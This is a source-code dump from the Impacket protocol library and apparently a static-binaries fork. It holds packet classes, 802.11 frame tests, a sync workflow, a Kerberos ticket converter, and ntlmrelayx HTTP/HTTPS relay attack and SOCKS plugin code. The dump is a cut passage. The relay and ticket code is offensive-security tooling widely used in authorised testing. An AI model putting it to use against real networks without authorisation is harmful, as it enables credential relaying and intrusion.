parser.add_argument('host', action='store', help='target host') 35 | parser.add_argument('-timeout', action='store', default='5', help='timeout to wait for an answer') 36 | 37 | if len(sys.argv)==1: 38 | parser.print_help() 39 | sys.exit(1) 40 | 41 | options = parser.parse_args() 42 | 43 | ms_sql = tds.MSSQL(options.host) 44 | instances = ms_sql.getInstances(int(options.timeout)) 45 | if len(instances) == 0: 46 | "No MSSQL Instances found" 47 | else: 48 | for i, instance in enumerate(instances): 49 | logging.info("Instance %d" % i) 50 | for key in list(instance.keys()): 51 | print(key + ":" + instance[key]) 52 | -------------------------------------------------------------------------------- /impacket/eap.py: -------------------------------------------------------------------------------- 1 | # SECUREAUTH LABS. Copyright 2018 SecureAuth Corporation. All rights reserved. 2 | # 3 | # This software is provided under under a slightly modified version 4 | # of the Apache Software License. See the accompanying LICENSE file 5 | # for more information. 6 | # 7 | # Description: 8 | # EAP packets 9 | # 10 | # Author: 11 | # Aureliano Calvo 12 | 13 | 14 | from impacket.helper import ProtocolPacket, Byte, Word, Long, ThreeBytesBigEndian 15 | 16 | DOT1X_AUTHENTICATION = 0x888E 17 | 18 | class EAPExpanded(ProtocolPacket): 19 | """EAP expanded data according to RFC 3748, section 5.7""" 20 | 21 | WFA_SMI = 0x00372a 22 | SIMPLE_CONFIG = 0x00000001 23 | 24 | header_size = 7 25 | tail_size = 0 26 | 27 | vendor_id = ThreeBytesBigEndian(0) 28 | vendor_type = Long(3, ">") 29 | 30 | class EAPR(ProtocolPacket): 31 | """It represents a request or a response in EAP (codes 1 and 2)""" 32 | 33 | IDENTITY = 0x01 34 | EXPANDED = 0xfe 35 | 36 | header_size = 1 37 | tail_size = 0 38 | 39 | type = Byte(0) 40 | 41 | class EAP(ProtocolPacket): 42 | REQUEST = 0x01 43 | RESPONSE = 0x02 44 | SUCCESS = 0x03 45 | FAILURE = 0x04 46 | 47 | header_size = 4 48 | tail_size = 0 49 | 50 | code = Byte(0) 51 | identifier = Byte(1) 52 | length = Word(2, ">") 53 | 54 | class EAPOL(ProtocolPacket): 55 | EAP_PACKET = 0x00 56 | EAPOL_START = 0x01 57 | EAPOL_LOGOFF = 0x02 58 | EAPOL_KEY = 0x03 59 | EAPOL_ENCAPSULATED_ASF_ALERT = 0x04 60 | 61 | DOT1X_VERSION = 0x01 62 | 63 | header_size = 4 64 | tail_size = 0 65 | 66 | version = Byte(0) 67 | packet_type = Byte(1) 68 | body_length = Word(2, ">") 69 | -------------------------------------------------------------------------------- /impacket/Dot11KeyManager.py: -------------------------------------------------------------------------------- 1 | # SECUREAUTH LABS. Copyright 2018 SecureAuth Corporation. All rights reserved. 2 | # 3 | # This software is provided under under a slightly modified version 4 | # of the Apache Software License. See the accompanying LICENSE file 5 | # for more information. 6 | # 7 | # Description: 8 | # IEEE 802.11 Network packet codecs. 9 | # 10 | # Author: 11 | # Gustavo Moreira 12 | 13 | from array import array 14 | class KeyManager: 15 | def __init__(self): 16 | self.keys = {} 17 | 18 | def __get_bssid_hasheable_type(self, bssid): 19 | # List is an unhashable type 20 | if not isinstance(bssid, (list,tuple,array)): 21 | raise Exception('BSSID datatype must be a tuple, list or array') 22 | return tuple(bssid) 23 | 24 | def add_key(self, bssid, key): 25 | bssid=self.__get_bssid_hasheable_type(bssid) 26 | if bssid not in self.keys: 27 | self.keys[bssid] = key 28 | return True 29 | else: 30 | return False 31 | 32 | def replace_key(self, bssid, key): 33 | bssid=self.__get_bssid_hasheable_type(bssid) 34 | self.keys[bssid] = key 35 | 36 | return True 37 | 38 | def get_key(self, bssid): 39 | bssid=self.__get_bssid_hasheable_type(bssid) 40 | if bssid in self.keys: 41 | return self.keys[bssid] 42 | else: 43 | return False 44 | 45 | def delete_key(self, bssid): 46 | bssid=self.__get_bssid_hasheable_type(bssid) 47 | if not isinstance(bssid, list): 48 | raise Exception('BSSID datatype must be a list') 49 | 50 | if bssid in self.keys: 51 | del self.keys[bssid] 52 | return True 53 | 54 | return False 55 | -------------------------------------------------------------------------------- /tests/dot11/test_helper.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # Copyright (c) 2003-2013 CORE Security Technologies 3 | # 4 | # This software is provided under under a slightly modified version 5 | # of the Apache Software License. See the accompanying LICENSE file 6 | # for more information. 7 | # 8 | # $Id$ 9 | # 10 | # Description: 11 | # Tests for helper used to build ProtocolPackets 12 | # 13 | # Author: 14 | # Aureliano Calvo 15 | 16 | # sorry, this is very ugly, but I'm in python 2.5 17 | import sys 18 | sys.path.insert(0,"../../..") 19 | 20 | import unittest 21 | import impacket.helper as h 22 | 23 | class TestHelpers(unittest.TestCase): 24 | 25 | def test_well_formed(self): 26 | class MockPacket(h.ProtocolPacket): 27 | byte_field = h.Byte(0) 28 | word_field = h.Word(1, ">") 29 | three_bytes_field = h.ThreeBytesBigEndian(3) 30 | long_field = h.Long(6, ">") 31 | aliased_bit_field = h.Bit(0,0) 32 | 33 | header_size = 4 34 | tail_size = 0 35 | 36 | p = MockPacket() 37 | p.byte_field = 1 38 | p.word_field = 2 39 | p.three_bytes_field = 4 40 | p.long_field = 8 41 | 42 | self.assertEqual(1, p.byte_field) 43 | self.assertEqual(2, p.word_field) 44 | self.assertEqual(4, p.three_bytes_field) 45 | self.assertEqual(8, p.long_field) 46 | 47 | self.assertEqual(True, p.aliased_bit_field) 48 | 49 | p.aliased_bit_field = False 50 | 51 | self.assertEqual(0, p.byte_field) 52 | 53 | self.assertEqual(p.get_packet(), MockPacket(p.get_packet()).get_packet()) # it is the same packet after reprocessing. 54 | 55 | 56 | suite = unittest.TestLoader().loadTestsFromTestCase(TestHelpers) 57 | unittest.TextTestRunner(verbosity=1).run(suite) 58 | -------------------------------------------------------------------------------- /tests/dot11/test_FrameControlACK.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # sorry, this is very ugly, but I'm in python 2.5 3 | import sys 4 | sys.path.insert(0,"../..") 5 | 6 | from impacket.dot11 import Dot11,Dot11Types,Dot11ControlFrameACK 7 | import unittest 8 | 9 | class TestDot11FrameControlACK(unittest.TestCase): 10 | 11 | def setUp(self): 12 | # 802.11 Control Frame ACK 13 | self.frame_orig=b'\xd4\x00\x00\x00\x00\x08\x54\xac\x2f\x85\xb7\x7f\xc3\x9e' 14 | 15 | d = Dot11(self.frame_orig) 16 | 17 | type = d.get_type() 18 | self.assertEqual(type,Dot11Types.DOT11_TYPE_CONTROL) 19 | 20 | subtype = d.get_subtype() 21 | self.assertEqual(subtype,Dot11Types.DOT11_SUBTYPE_CONTROL_ACKNOWLEDGMENT) 22 | 23 | typesubtype = d.get_type_n_subtype() 24 | self.assertEqual(typesubtype,Dot11Types.DOT11_TYPE_CONTROL_SUBTYPE_ACKNOWLEDGMENT) 25 | 26 | self.ack = Dot11ControlFrameACK(d.get_body_as_string()) 27 | 28 | d.contains(self.ack) 29 | 30 | def test_01_HeaderTailSize(self): 31 | 'Test Header and Tail Size field' 32 | self.assertEqual(self.ack.get_header_size(), 8) 33 | self.assertEqual(self.ack.get_tail_size(), 0) 34 | 35 | def test_02_Duration(self): 36 | 'Test Duration field' 37 | 38 | self.assertEqual(self.ack.get_duration(), 0) 39 | self.ack.set_duration(0x1234) 40 | self.assertEqual(self.ack.get_duration(), 0x1234) 41 | 42 | def test_03_RA(self): 43 | 'Test RA field' 44 | 45 | ra=self.ack.get_ra() 46 | self.assertEqual(ra.tolist(), [0x00,0x08,0x54,0xac,0x2f,0x85]) 47 | ra[0]=0x12 48 | ra[5]=0x34 49 | self.ack.set_ra(ra) 50 | self.assertEqual(self.ack.get_ra().tolist(), [0x12,0x08,0x54,0xac,0x2f,0x34]) 51 | 52 | suite = unittest.TestLoader().loadTestsFromTestCase(TestDot11FrameControlACK) 53 | unittest.TextTestRunner(verbosity=1).run(suite) 54 | -------------------------------------------------------------------------------- /tests/dot11/test_FrameControlCTS.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # sorry, this is very ugly, but I'm in python 2.5 3 | import sys 4 | sys.path.insert(0,"../..") 5 | 6 | from impacket.dot11 import Dot11,Dot11Types,Dot11ControlFrameCTS 7 | import unittest 8 | 9 | class TestDot11FrameControlCTS(unittest.TestCase): 10 | 11 | def setUp(self): 12 | # 802.11 Control Frame CTS 13 | self.frame_orig=b'\xc4\x00\x3b\x12\x00\x19\xe0\x98\x04\xd4\x2b\x8a\x65\x17' 14 | 15 | d = Dot11(self.frame_orig) 16 | 17 | type = d.get_type() 18 | self.assertEqual(type,Dot11Types.DOT11_TYPE_CONTROL) 19 | 20 | subtype = d.get_subtype() 21 | self.assertEqual(subtype,Dot11Types.DOT11_SUBTYPE_CONTROL_CLEAR_TO_SEND) 22 | 23 | typesubtype = d.get_type_n_subtype() 24 | self.assertEqual(typesubtype,Dot11Types.DOT11_TYPE_CONTROL_SUBTYPE_CLEAR_TO_SEND) 25 | 26 | self.cts = Dot11ControlFrameCTS(d.get_body_as_string()) 27 | 28 | d.contains(self.cts) 29 | 30 | def test_01_HeaderTailSize(self): 31 | 'Test Header and Tail Size field' 32 | self.assertEqual(self.cts.get_header_size(), 8) 33 | self.assertEqual(self.cts.get_tail_size(), 0) 34 | 35 | def test_02_Duration(self): 36 | 'Test Duration field' 37 | 38 | self.assertEqual(self.cts.get_duration(), 4667) 39 | self.cts.set_duration(0x1234) 40 | self.assertEqual(self.cts.get_duration(), 0x1234) 41 | 42 | def test_03_RA(self): 43 | 'Test RA field' 44 | 45 | ra=self.cts.get_ra() 46 | 47 | self.assertEqual(ra.tolist(), [0x00,0x19,0xe0,0x98,0x04,0xd4]) 48 | ra[0]=0x12 49 | ra[5]=0x34 50 | self.cts.set_ra(ra) 51 | self.assertEqual(self.cts.get_ra().tolist(), [0x12,0x19,0xe0,0x98,0x04,0x34]) 52 | 53 | suite = unittest.TestLoader().loadTestsFromTestCase(TestDot11FrameControlCTS) 54 | unittest.TextTestRunner(verbosity=1).run(suite) 55 | -------------------------------------------------------------------------------- /impacket/examples/ntlmrelayx/attacks/httpattack.py: -------------------------------------------------------------------------------- 1 | # SECUREAUTH LABS. Copyright 2018 SecureAuth Corporation. All rights reserved. 2 | # 3 | # This software is provided under under a slightly modified version 4 | # of the Apache Software License. See the accompanying LICENSE file 5 | # for more information. 6 | # 7 | # HTTP Attack Class 8 | # 9 | # Authors: 10 | # Alberto Solino (@agsolino) 11 | # Dirk-jan Mollema (@_dirkjan) / Fox-IT (https://www.fox-it.com) 12 | # 13 | # Description: 14 | # HTTP protocol relay attack 15 | # 16 | # ToDo: 17 | # 18 | from impacket.examples.ntlmrelayx.attacks import ProtocolAttack 19 | 20 | PROTOCOL_ATTACK_CLASS = "HTTPAttack" 21 | 22 | class HTTPAttack(ProtocolAttack): 23 | """ 24 | This is the default HTTP attack. This attack only dumps the root page, though 25 | you can add any complex attack below. self.client is an instance of urrlib.session 26 | For easy advanced attacks, use the SOCKS option and use curl or a browser to simply 27 | proxy through ntlmrelayx 28 | """ 29 | PLUGIN_NAMES = ["HTTP", "HTTPS"] 30 | def run(self): 31 | #Default action: Dump requested page to file, named username-targetname.html 32 | 33 | #You can also request any page on the server via self.client.session, 34 | #for example with: 35 | self.client.request("GET", "/") 36 | r1 = self.client.getresponse() 37 | print(r1.status, r1.reason) 38 | data1 = r1.read() 39 | print(data1) 40 | 41 | #Remove protocol from target name 42 | #safeTargetName = self.client.target.replace('http://','').replace('https://','') 43 | 44 | #Replace any special chars in the target name 45 | #safeTargetName = re.sub(r'[^a-zA-Z0-9_\-\.]+', '_', safeTargetName) 46 | 47 | #Combine username with filename 48 | #fileName = re.sub(r'[^a-zA-Z0-9_\-\.]+', '_', self.username.decode('utf-16-le')) + '-' + safeTargetName + '.html' 49 | 50 | #Write it to the file 51 | #with open(os.path.join(self.config.lootdir,fileName),'w') as of: 52 | # of.write(self.client.lastresult) 53 | -------------------------------------------------------------------------------- /.github/workflows/upstream.yml: -------------------------------------------------------------------------------- 1 | name: Sync with Upstream 2 | 3 | on: 4 | # schedule: 5 | # - cron: "0 0 * * *" #every 24 hours 6 | repository_dispatch: 7 | 8 | jobs: 9 | merge-upstream-master: 10 | runs-on: [ubuntu-latest] 11 | steps: 12 | - uses: geertvdc/setup-hub@master 13 | - name: Clone repo 14 | run: | 15 | git clone https://${{ github.actor }}:${{ secrets.GITHUB_TOKEN }}@github.com/${{ github.repository }}.git 16 | 17 | - name: Merge Upstream Master 18 | working-directory: ./impacket_static_binaries 19 | run: | 20 | git config --local user.name githubactions 21 | git config --local user.email rflathers@gmail.com 22 | git remote add upstream https://github.com/SecureAuthCorp/impacket.git 23 | git fetch upstream 24 | git merge --no-ff --no-commit upstream/master || echo "resolving conflicts" 25 | git reset HEAD README.md .github #never change these 26 | git checkout -- README.md .github 27 | if ! (git diff --cached --exit-code > /dev/null); then # test if something changed 28 | git commit -m "merged upstream/master" 29 | git push origin master 30 | else 31 | echo "Nothing changed!" 32 | fi 33 | 34 | - name: Check for new release 35 | env: 36 | GITHUB_USER: ${{ secrets.GITHUB_USER }} 37 | GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }} 38 | working-directory: ./impacket_static_binaries 39 | run: | 40 | latestUpstreamRelease=($(hub release -L 1|cut -d_ -f2-)) 41 | myReleases=($(git branch --list --all |grep "origin/release-"|cut -d- -f2-)) 42 | if [[ " ${myReleases[@]} " =~ " ${latestUpstreamRelease} " ]]; then 43 | echo "Releases are up to date" 44 | exit 0 45 | else 46 | git checkout impacket_$latestUpstreamRelease 47 | git checkout -b release-$latestUpstreamRelease 48 | git push --set-upstream origin release-$latestUpstreamRelease 49 | fi 50 | 51 | 52 | 53 | -------------------------------------------------------------------------------- /impacket/examples/ntlmrelayx/servers/socksplugins/https.py: -------------------------------------------------------------------------------- 1 | # SECUREAUTH LABS. Copyright 2018 SecureAuth Corporation. All rights reserved. 2 | # 3 | # This software is provided under under a slightly modified version 4 | # of the Apache Software License. See the accompanying LICENSE file 5 | # for more information. 6 | # 7 | # A Socks Proxy for the HTTPS Protocol 8 | # 9 | # Author: 10 | # Dirk-jan Mollema (@_dirkjan) / Fox-IT (https://www.fox-it.com) 11 | # 12 | # Description: 13 | # A simple SOCKS server that proxies a connection to relayed HTTPS connections 14 | # 15 | # ToDo: 16 | # 17 | 18 | from impacket import LOG 19 | from impacket.examples.ntlmrelayx.servers.socksplugins.http import HTTPSocksRelay 20 | from impacket.examples.ntlmrelayx.utils.ssl import SSLServerMixin 21 | from OpenSSL import SSL 22 | 23 | # Besides using this base class you need to define one global variable when 24 | # writing a plugin: 25 | PLUGIN_CLASS = "HTTPSSocksRelay" 26 | EOL = '\r\n' 27 | 28 | class HTTPSSocksRelay(SSLServerMixin, HTTPSocksRelay): 29 | PLUGIN_NAME = 'HTTPS Socks Plugin' 30 | PLUGIN_SCHEME = 'HTTPS' 31 | 32 | def __init__(self, targetHost, targetPort, socksSocket, activeRelays): 33 | HTTPSocksRelay.__init__(self, targetHost, targetPort, socksSocket, activeRelays) 34 | 35 | @staticmethod 36 | def getProtocolPort(): 37 | return 443 38 | 39 | def skipAuthentication(self): 40 | LOG.debug('Wrapping client connection in TLS/SSL') 41 | self.wrapClientConnection() 42 | if not HTTPSocksRelay.skipAuthentication(self): 43 | # Shut down TLS connection 44 | self.socksSocket.shutdown() 45 | return False 46 | return True 47 | 48 | def tunnelConnection(self): 49 | while True: 50 | try: 51 | data = self.socksSocket.recv(self.packetSize) 52 | except SSL.ZeroReturnError: 53 | # The SSL connection was closed, return 54 | return 55 | # Pass the request to the server 56 | tosend = self.prepareRequest(data) 57 | self.relaySocket.send(tosend) 58 | # Send the response back to the client 59 | self.transferResponse() 60 | -------------------------------------------------------------------------------- /impacket/examples/logger.py: -------------------------------------------------------------------------------- 1 | # SECUREAUTH LABS. Copyright 2018 SecureAuth Corporation. All rights reserved. 2 | # 3 | # This software is provided under under a slightly modified version 4 | # of the Apache Software License. See the accompanying LICENSE file 5 | # for more information. 6 | # 7 | # Description: This logger is intended to be used by impacket instead 8 | # of printing directly. This will allow other libraries to use their 9 | # custom logging implementation. 10 | # 11 | 12 | import logging 13 | import sys 14 | 15 | # This module can be used by scripts using the Impacket library 16 | # in order to configure the root logger to output events 17 | # generated by the library with a predefined format 18 | 19 | # If the scripts want to generate log entries, they can write 20 | # directly to the root logger (logging.info, debug, etc). 21 | 22 | class ImpacketFormatter(logging.Formatter): 23 | ''' 24 | Prefixing logged messages through the custom attribute 'bullet'. 25 | ''' 26 | def __init__(self): 27 | logging.Formatter.__init__(self,'%(bullet)s %(message)s', None) 28 | 29 | def format(self, record): 30 | if record.levelno == logging.INFO: 31 | record.bullet = '[*]' 32 | elif record.levelno == logging.DEBUG: 33 | record.bullet = '[+]' 34 | elif record.levelno == logging.WARNING: 35 | record.bullet = '[!]' 36 | else: 37 | record.bullet = '[-]' 38 | 39 | return logging.Formatter.format(self, record) 40 | 41 | class ImpacketFormatterTimeStamp(ImpacketFormatter): 42 | ''' 43 | Prefixing logged messages through the custom attribute 'bullet'. 44 | ''' 45 | def __init__(self): 46 | logging.Formatter.__init__(self,'[%(asctime)-15s] %(bullet)s %(message)s', None) 47 | 48 | def formatTime(self, record, datefmt=None): 49 | return ImpacketFormatter.formatTime(self, record, datefmt="%Y-%m-%d %H:%M:%S") 50 | 51 | def init(ts=False): 52 | # We add a StreamHandler and formatter to the root logger 53 | handler = logging.StreamHandler(sys.stdout) 54 | if not ts: 55 | handler.setFormatter(ImpacketFormatter()) 56 | else: 57 | handler.setFormatter(ImpacketFormatterTimeStamp()) 58 | logging.getLogger().addHandler(handler) 59 | logging.getLogger().setLevel(logging.INFO) 60 | -------------------------------------------------------------------------------- /examples/ticketConverter.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # 3 | # Author: 4 | # Zer1t0 (https://github.com/Zer1t0) 5 | # 6 | # Description: 7 | # This script will convert kirbi files (commonly used by mimikatz) into ccache files used by impacket, 8 | # and vice versa. 9 | # 10 | # References: 11 | # https://tools.ietf.org/html/rfc4120 12 | # http://web.mit.edu/KERBEROS/krb5-devel/doc/formats/ccache_file_format.html 13 | # https://github.com/gentilkiwi/kekeo 14 | # https://github.com/rvazarkar/KrbCredExport 15 | # 16 | # Examples: 17 | # ./ticket_converter.py admin.ccache admin.kirbi 18 | # ./ticket_converter.py admin.kirbi admin.ccache 19 | # 20 | 21 | 22 | import argparse 23 | import struct 24 | 25 | from impacket import version 26 | from impacket.krb5.ccache import CCache 27 | 28 | 29 | def parse_args(): 30 | parser = argparse.ArgumentParser() 31 | parser.add_argument('input_file', help="File in kirbi (KRB-CRED) or ccache format") 32 | parser.add_argument('output_file', help="Output file") 33 | return parser.parse_args() 34 | 35 | 36 | def main(): 37 | print(version.BANNER) 38 | 39 | args = parse_args() 40 | 41 | if is_kirbi_file(args.input_file): 42 | print('[*] converting kirbi to ccache...') 43 | convert_kirbi_to_ccache(args.input_file, args.output_file) 44 | print('[+] done') 45 | elif is_ccache_file(args.input_file): 46 | print('[*] converting ccache to kirbi...') 47 | convert_ccache_to_kirbi(args.input_file, args.output_file) 48 | print('[+] done') 49 | else: 50 | print('[X] unknown file format') 51 | 52 | 53 | def is_kirbi_file(filename): 54 | with open(filename, 'rb') as fi: 55 | fileid = struct.unpack(">B", fi.read(1))[0] 56 | return fileid == 0x76 57 | 58 | 59 | def is_ccache_file(filename): 60 | with open(filename, 'rb') as fi: 61 | fileid = struct.unpack(">B", fi.read(1))[0] 62 | return fileid == 0x5 63 | 64 | 65 | def convert_kirbi_to_ccache(input_filename, output_filename): 66 | ccache = CCache.loadKirbiFile(input_filename) 67 | ccache.saveFile(output_filename) 68 | 69 | 70 | def convert_ccache_to_kirbi(input_filename, output_filename): 71 | ccache = CCache.loadFile(input_filename) 72 | ccache.saveKirbiFile(output_filename) 73 | 74 | 75 | if __name__ == '__main__': 76 | main() 77 | -------------------------------------------------------------------------------- /tests/dot11/test_FrameControlRTS.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # sorry, this is very ugly, but I'm in python 2.5 3 | import sys 4 | sys.path.insert(0,"../..") 5 | 6 | from impacket.dot11 import Dot11, Dot11Types, Dot11ControlFrameRTS 7 | import unittest 8 | 9 | class TestDot11FrameControlRTS(unittest.TestCase): 10 | 11 | def setUp(self): 12 | # 802.11 Control Frame RTS 13 | self.frame_orig=b'\xb4\x00\x81\x01\x00\x08\x54\xac\x2f\x85\x00\x23\x4d\x09\x86\xfe\x99\x75\x43\x73' 14 | 15 | d = Dot11(self.frame_orig) 16 | 17 | type = d.get_type() 18 | self.assertEqual(type,Dot11Types.DOT11_TYPE_CONTROL) 19 | 20 | subtype = d.get_subtype() 21 | self.assertEqual(subtype,Dot11Types.DOT11_SUBTYPE_CONTROL_REQUEST_TO_SEND) 22 | 23 | typesubtype = d.get_type_n_subtype() 24 | self.assertEqual(typesubtype,Dot11Types.DOT11_TYPE_CONTROL_SUBTYPE_REQUEST_TO_SEND) 25 | 26 | self.rts = Dot11ControlFrameRTS(d.get_body_as_string()) 27 | 28 | d.contains(self.rts) 29 | 30 | def test_01_HeaderTailSize(self): 31 | 'Test Header and Tail Size field' 32 | self.assertEqual(self.rts.get_header_size(), 14) 33 | self.assertEqual(self.rts.get_tail_size(), 0) 34 | 35 | def test_02_Duration(self): 36 | 'Test Duration field' 37 | 38 | self.assertEqual(self.rts.get_duration(), 0x181) 39 | self.rts.set_duration(0x1234) 40 | self.assertEqual(self.rts.get_duration(), 0x1234) 41 | 42 | def test_03_RA(self): 43 | 'Test RA field' 44 | 45 | ra=self.rts.get_ra() 46 | self.assertEqual(ra.tolist(), [0x00,0x08,0x54,0xac,0x2f,0x85]) 47 | ra[0]=0x12 48 | ra[5]=0x34 49 | self.rts.set_ra(ra) 50 | self.assertEqual(self.rts.get_ra().tolist(), [0x12,0x08,0x54,0xac,0x2f,0x34]) 51 | 52 | def test_04_TA(self): 53 | 'Test TA field' 54 | 55 | ta=self.rts.get_ta() 56 | self.assertEqual(ta.tolist(), [0x00,0x23,0x4d,0x09,0x86,0xfe]) 57 | ta[0]=0x12 58 | ta[5]=0x34 59 | self.rts.set_ta(ta) 60 | self.assertEqual(self.rts.get_ta().tolist(), [0x12,0x23,0x4d,0x09,0x86,0x34]) 61 | 62 | suite = unittest.TestLoader().loadTestsFromTestCase(TestDot11FrameControlRTS) 63 | unittest.TextTestRunner(verbosity=1).run(suite) 64 | -------------------------------------------------------------------------------- /tests/dot11/test_FrameControlCFEnd.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # sorry, this is very ugly, but I'm in python 2.5 3 | import sys 4 | sys.path.insert(0,"../..") 5 | 6 | from impacket.dot11 import Dot11,Dot11Types,Dot11ControlFrameCFEnd 7 | import unittest 8 | 9 | class TestDot11FrameControlCFEnd(unittest.TestCase): 10 | 11 | def setUp(self): 12 | # 802.11 Control Frame CFEnd 13 | self.frame_orig=b'\xe4\x00\x00\x00\xff\xff\xff\xff\xff\xff\x00\x19\xe0\x98\x04\xd4\xad\x9c\x3c\xc0' 14 | 15 | d = Dot11(self.frame_orig) 16 | 17 | type = d.get_type() 18 | self.assertEqual(type,Dot11Types.DOT11_TYPE_CONTROL) 19 | 20 | subtype = d.get_subtype() 21 | self.assertEqual(subtype,Dot11Types.DOT11_SUBTYPE_CONTROL_CF_END) 22 | 23 | typesubtype = d.get_type_n_subtype() 24 | self.assertEqual(typesubtype,Dot11Types.DOT11_TYPE_CONTROL_SUBTYPE_CF_END) 25 | 26 | self.cfend = Dot11ControlFrameCFEnd(d.get_body_as_string()) 27 | 28 | d.contains(self.cfend) 29 | 30 | def test_01_HeaderTailSize(self): 31 | 'Test Header and Tail Size field' 32 | self.assertEqual(self.cfend.get_header_size(), 14) 33 | self.assertEqual(self.cfend.get_tail_size(), 0) 34 | 35 | def test_02_Duration(self): 36 | 'Test Duration field' 37 | 38 | self.assertEqual(self.cfend.get_duration(), 0x00) 39 | self.cfend.set_duration(0x1234) 40 | self.assertEqual(self.cfend.get_duration(), 0x1234) 41 | 42 | def test_03_RA(self): 43 | 'Test RA field' 44 | 45 | ra=self.cfend.get_ra() 46 | self.assertEqual(ra.tolist(), [0xff,0xff,0xff,0xff,0xff,0xff]) 47 | ra[0]=0x12 48 | ra[5]=0x34 49 | self.cfend.set_ra(ra) 50 | self.assertEqual(self.cfend.get_ra().tolist(), [0x12,0xff,0xff,0xff,0xff,0x34]) 51 | 52 | def test_04_BSSID(self): 53 | 'Test BSS ID field' 54 | 55 | bssid=self.cfend.get_bssid() 56 | self.assertEqual(bssid.tolist(), [0x00,0x19,0xe0,0x98,0x04,0xd4]) 57 | bssid[0]=0x12 58 | bssid[5]=0x34 59 | self.cfend.set_bssid(bssid) 60 | self.assertEqual(self.cfend.get_bssid().tolist(), [0x12,0x19,0xe0,0x98,0x04,0x34]) 61 | 62 | suite = unittest.TestLoader().loadTestsFromTestCase(TestDot11FrameControlCFEnd) 63 | unittest.TextTestRunner(verbosity=1).run(suite) 64 | -------------------------------------------------------------------------------- /tests/dot11/test_FrameControlPSPoll.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # sorry, this is very ugly, but I'm in python 2.5 3 | import sys 4 | sys.path.insert(0,"../..") 5 | 6 | from impacket.dot11 import Dot11,Dot11Types,Dot11ControlFramePSPoll 7 | import unittest 8 | 9 | class TestDot11FrameControlPSPoll(unittest.TestCase): 10 | 11 | def setUp(self): 12 | # 802.11 Control Frame PSPoll 13 | self.frame_orig=b'\xa6\x73\xf1\xaf\x48\x06\xee\x23\x2b\xc9\xfe\xbe\xe5\x05\x4c\x0a\x04\xa0\x00\x0f' 14 | 15 | d = Dot11(self.frame_orig) 16 | 17 | type = d.get_type() 18 | self.assertEqual(type,Dot11Types.DOT11_TYPE_CONTROL) 19 | 20 | subtype = d.get_subtype() 21 | self.assertEqual(subtype,Dot11Types.DOT11_SUBTYPE_CONTROL_POWERSAVE_POLL) 22 | 23 | typesubtype = d.get_type_n_subtype() 24 | self.assertEqual(typesubtype,Dot11Types.DOT11_TYPE_CONTROL_SUBTYPE_POWERSAVE_POLL) 25 | 26 | self.pspoll = Dot11ControlFramePSPoll(d.get_body_as_string()) 27 | 28 | d.contains(self.pspoll) 29 | 30 | def test_01_HeaderTailSize(self): 31 | 'Test Header and Tail Size field' 32 | self.assertEqual(self.pspoll.get_header_size(), 14) 33 | self.assertEqual(self.pspoll.get_tail_size(), 0) 34 | 35 | def test_02_AID(self): 36 | 'Test AID field' 37 | 38 | self.assertEqual(self.pspoll.get_aid(), 0xAFF1) 39 | self.pspoll.set_aid(0x1234) 40 | self.assertEqual(self.pspoll.get_aid(), 0x1234) 41 | 42 | def test_03_BSSID(self): 43 | 'Test BSS ID field' 44 | 45 | bssid=self.pspoll.get_bssid() 46 | self.assertEqual(bssid.tolist(), [0x48,0x06,0xee,0x23,0x2b,0xc9]) 47 | bssid[0]=0x12 48 | bssid[5]=0x34 49 | self.pspoll.set_bssid(bssid) 50 | self.assertEqual(self.pspoll.get_bssid().tolist(), [0x12,0x06,0xee,0x23,0x2b,0x34]) 51 | 52 | def test_04_TA(self): 53 | 'Test TA field' 54 | 55 | ta=self.pspoll.get_ta() 56 | self.assertEqual(ta.tolist(), [0xfe,0xbe,0xe5,0x05,0x4c,0x0a]) 57 | ta[0]=0x12 58 | ta[5]=0x34 59 | self.pspoll.set_ta(ta) 60 | self.assertEqual(self.pspoll.get_ta().tolist(), [0x12,0xbe,0xe5,0x05,0x4c,0x34]) 61 | 62 | suite = unittest.TestLoader().loadTestsFromTestCase(TestDot11FrameControlPSPoll) 63 | unittest.TextTestRunner(verbosity=1).run(suite) 64 | -------------------------------------------------------------------------------- /tests/dot11/test_FrameControlCFEndCFACK.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # sorry, this is very ugly, but I'm in python 2.5 3 | import sys 4 | sys.path.insert(0,"../..") 5 | 6 | from impacket.dot11 import Dot11,Dot11Types,Dot11ControlFrameCFEndCFACK 7 | import unittest 8 | 9 | class TestDot11FrameControlCFEndCFACK(unittest.TestCase): 10 | 11 | def setUp(self): 12 | # 802.11 Control Frame CFEndCFACK 13 | self.frame_orig=b'\xf4\x74\xde\xed\xe5\x56\x85\xf8\xd2\x3b\x96\xae\x0f\xb0\xd9\x8a\x03\x02\x38\x00' 14 | 15 | d = Dot11(self.frame_orig) 16 | 17 | type = d.get_type() 18 | self.assertEqual(type,Dot11Types.DOT11_TYPE_CONTROL) 19 | 20 | subtype = d.get_subtype() 21 | self.assertEqual(subtype,Dot11Types.DOT11_SUBTYPE_CONTROL_CF_END_CF_ACK) 22 | 23 | typesubtype = d.get_type_n_subtype() 24 | self.assertEqual(typesubtype,Dot11Types.DOT11_TYPE_CONTROL_SUBTYPE_CF_END_CF_ACK) 25 | 26 | self.cfendcfack = Dot11ControlFrameCFEndCFACK(d.get_body_as_string()) 27 | 28 | d.contains(self.cfendcfack) 29 | 30 | def test_01_HeaderTailSize(self): 31 | 'Test Header and Tail Size field' 32 | self.assertEqual(self.cfendcfack.get_header_size(), 14) 33 | self.assertEqual(self.cfendcfack.get_tail_size(), 0) 34 | 35 | def test_02_Duration(self): 36 | 'Test Duration field' 37 | 38 | self.assertEqual(self.cfendcfack.get_duration(), 0xEDDE) 39 | self.cfendcfack.set_duration(0x1234) 40 | self.assertEqual(self.cfendcfack.get_duration(), 0x1234) 41 | 42 | def test_03_RA(self): 43 | 'Test RA field' 44 | 45 | ra=self.cfendcfack.get_ra() 46 | self.assertEqual(ra.tolist(), [0xe5,0x56,0x85,0xf8,0xd2,0x3b]) 47 | ra[0]=0x12 48 | ra[5]=0x34 49 | self.cfendcfack.set_ra(ra) 50 | 